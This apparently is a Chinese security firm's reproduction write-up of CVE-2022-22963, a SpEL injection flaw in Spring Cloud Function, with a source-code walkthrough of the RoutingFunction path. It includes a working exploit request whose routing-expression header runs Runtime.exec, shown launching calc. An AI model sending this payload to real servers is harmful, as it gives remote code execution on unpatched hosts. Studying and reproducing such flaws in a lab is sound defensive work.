大数跨境
0
0

漏洞复现CVE-2022-22963

漏洞复现CVE-2022-22963 卓识网安
2022-11-25
2
导读:卓识网安 证券代码870126


漏洞复现
CVE-2022-22963



漏洞原理





Spring Cloud Function 是基于 Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。

漏洞是出在SpringCloud Function的RoutingFunction功能上,RoutingFunction可以通过在HTTP请求header中添加spring.cloud.function.definition参数的方式与单个方法进行交互。

由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression" 参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。




复现过程





环境

JDK:11.0.13

SpringBoot:2.6.6

Spring Cloud Function : 3.2.2




过程


项目创建成功之后,在pom.xml中添加如下依赖


<dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-function-web</artifactId>
            <version>3.2.2</version>
        </dependency>

Java


拦截请求并修改参数


请求方式:POST
请求URI:/functionRouter
Header参数:
  spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("calc")
  Content-Type: application/x-www-form-urlencoded

Java




分析

functionRouter

在Application.java文件中添加如下内容


@SpringBootApplication
public
 class Cve202222963Application {

    
@Bean
    
public Function<String,String> uppercase(){
        
return value -> value.toUpperCase();
    
}
    
@Bean
    
public Function<String,String> reverse(){
        
return  value -> new StringBuilder(value).reverse().toString();
    
}


    
public static void main(String[] args) {
        
SpringApplication.run(Cve202222963Application.class, args);
    
}

}

Java


在application.properties文件中添加内容


spring.cloud.function.definition=uppercase

Java


发送请求得到如下结果



当配置该属性为uppercase时,访问根路径提交的参数会自动被uppercase函数接受转化为大写

definition属性就是一个默认路由, 可以手动指定相关函数,也可以使用functionRouter ,指定的方式可以是配置文件、环境变量或者启动参数

如果设置为functionRouter则默认路由绑定的具体函数交由用户进行控制,在 Spring Cloud Function Web里面,可以通过设置http头的方式来控制,使用

spring.cloud.function.definitionspring.cloud.function.routing-expression 都可以,区别是后者允许使用Spring表达式语言(SpEL)



若不在application.properties文件中添加内容,则可以在HTTP请求header中添加参数,

eg:



过程分析

SpringCloud Function之所以能自动将函数建立http端点,是因为在包mvc.FunctionController中使用/** 监听了get/post类型的所有端点。



//FunctionController#post
@ResponseBody
public Object post(WebRequest request, @RequestBody(required = false) String body) {
    return FunctionWebRequestProcessingHelper.processRequest(this.wrapper(request), body, false);
}

Java


Controller首先会将请求使用wrapper进行包装,wrapper就是将request转成FunctionInvocationWrapper 格式。

随后进入processRequest 对request进行处理


//FunctionWebRequestProcessingHelper#processRequest
public static Publisher<?> processRequest(FunctionWrapper wrapper, Object argument, boolean eventStream) {
    FunctionInvocationWrapper function = wrapper.getFunction();
    HttpHeaders headers = wrapper.getHeaders();
    Message<?> inputMessage = argument == null ? null : MessageBuilder.withPayload(argument).copyHeaders(headers.toSingleValueMap()).build();
    if (function.isRoutingFunction()) {
        function.setSkipOutputConversion(true);
    }

    Object input = argument == null ? "" : (argument instanceof Publisher ? Flux.from((Publisher)argument) : inputMessage);
    Object result = function.apply(input);
    if (function.isConsumer()) {
        if (result instanceof Publisher) {
            Mono.from((Publisher)result).subscribe();
        }

        return Mono.just(((BodyBuilder)ResponseEntity.accepted().headers(HeaderUtils.sanitize(headers))).build());
    } else
    ......
    }
}

Java


在第一个if处判断当前请求是否为RoutingFunction,随后将请求的内容和Header头编译成Message带入到FunctionInvocationWrapper.apply方法中,随后又进入其中的doApply方法


//SimpleFunctionRegistry#FunctionInvocationWrapper#apply()
public Object apply(Object input) {
    if (SimpleFunctionRegistry.this.logger.isDebugEnabled() && !(input instanceof Publisher)) {
        SimpleFunctionRegistry.this.logger.debug("Invoking function " + this);
    }

    Object result = this.doApply(input);
    if (result != null && this.outputType != null) {
        result = this.convertOutputIfNecessary(result, this.outputType, this.expectedOutputContentType);
    }

    return result;
}

Java


//SimpleFunctionRegistry#FunctionInvocationWrapper#doApply()
Object doApply(Object input) {
    input = this.fluxifyInputIfNecessary(input);
    Object convertedInput = this.convertInputIfNecessary(input, this.inputType);
    Object result;
    if (!this.isRoutingFunction() && !this.isComposed()) {
        if (this.isSupplier()) {
            result = ((Supplier)this.target).get();
        } else if (this.isConsumer()) {
            result = this.invokeConsumer(convertedInput);
        } else {
            result = this.invokeFunction(convertedInput);
        }
    } else {
        result = ((Function)this.target).apply(convertedInput);
    }
    return result;
}

Java


//RoutingFunction#apply
public Object apply(Object input) {
    return this.route(input, input instanceof Publisher);
}

Java


//RoutingFunction#route
private Object route(Object input, boolean originalInputIsPublisher) {
    FunctionInvocationWrapper function = null;
    if (input instanceof Message) {
        Message<?> message = (Message)input;
        if (this.routingCallback != null) {
            FunctionRoutingResult routingResult = this.routingCallback.routingResult(message);
            if (routingResult != null) {
                if (StringUtils.hasText(routingResult.getFunctionDefinition())) {
                    function = this.functionFromDefinition(routingResult.getFunctionDefinition());
                }

                if (routingResult.getMessage() != null) {
                    message = routingResult.getMessage();
                }
            }
        }

        if (function == null) {
            if (StringUtils.hasText((String)message.getHeaders().get("spring.cloud.function.definition"))) {
                function = this.functionFromDefinition((String)message.getHeaders().get("spring.cloud.function.definition"));
                if (function.isInputTypePublisher()) {
                    this.assertOriginalInputIsNotPublisher(originalInputIsPublisher);
                }
            } else if (StringUtils.hasText((String)message.getHeaders().get("spring.cloud.function.routing-expression"))) {
                function = this.functionFromExpression((String)message.getHeaders().get("spring.cloud.function.routing-expression"), message);
                if (function.isInputTypePublisher()) {
                    this.assertOriginalInputIsNotPublisher(originalInputIsPublisher);
                }
            } else if 
            ........
            } else {
                ........
            }
        }
    } else if (input instanceof Publisher) {
        ........
    } else
    .......
    }

    return function.apply(input);
}

Java



判断了请求headers头中有没有spring.cloud.function.routing-expression参数

并将结果带入到this.functionFromExpression()方法中


//RoutingFunction#functionFromExpression
private FunctionInvocationWrapper functionFromExpression(String routingExpression, Object input) {
    Expression expression = this.spelParser.parseExpression(routingExpression);
    if (input instanceof Message) {
        input = MessageUtils.toCaseInsensitiveHeadersStructure((Message)input);
    }
    String functionName = (String)expression.getValue(this.evalContext, input, String.class);
    Assert.hasText(functionName, "Failed to resolve function name based on routing expression '" + this.functionProperties.getRoutingExpression() + "'");
    FunctionInvocationWrapper function = (FunctionInvocationWrapper)this.functionCatalog.lookup(functionName);
    Assert.notNull(function, "Failed to lookup function to route to based on the expression '" + this.functionProperties.getRoutingExpression() + "' whcih resolved to '" + functionName + "' function name.");
    if (logger.isInfoEnabled()) {
        logger.info("Resolved function from provided [routing-expression]  " + routingExpression);
    }

    return function;
}

Java


最终直接由SpelExpressionParser来解析,导致Spel表达式注入。



整个逻辑中由于完全信任从最开始传入的header信息,并且在解析SpEL表达式时候的evalContext使用的是功能更强同时安全隐患较大的StandardEcalutionContext


 public RoutingFunction(FunctionCatalog functionCatalog, FunctionProperties functionProperties, BeanResolver beanResolver, MessageRoutingCallback routingCallback) {
        this.evalContext = new StandardEvaluationContext();
        this.spelParser = new SpelExpressionParser();
        this.functionCatalog = functionCatalog;
        this.functionProperties = functionProperties;
        this.routingCallback = routingCallback;
        this.evalContext.addPropertyAccessor(new MapAccessor());
        this.evalContext.setBeanResolver(beanResolver);
    }

Java




总结





| “由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。”





【声明】内容源于网络
0
0
卓识网安
北京卓识网安技术股份有限公司(原北京华电卓识信息安全测评技术中心有限公司)是一家致力于能源(电力)行业信息安全测评服务的独立第三方专业测评机构。
内容 69
粉丝 0
卓识网安 北京卓识网安技术股份有限公司(原北京华电卓识信息安全测评技术中心有限公司)是一家致力于能源(电力)行业信息安全测评服务的独立第三方专业测评机构。
总阅读2
粉丝0
内容69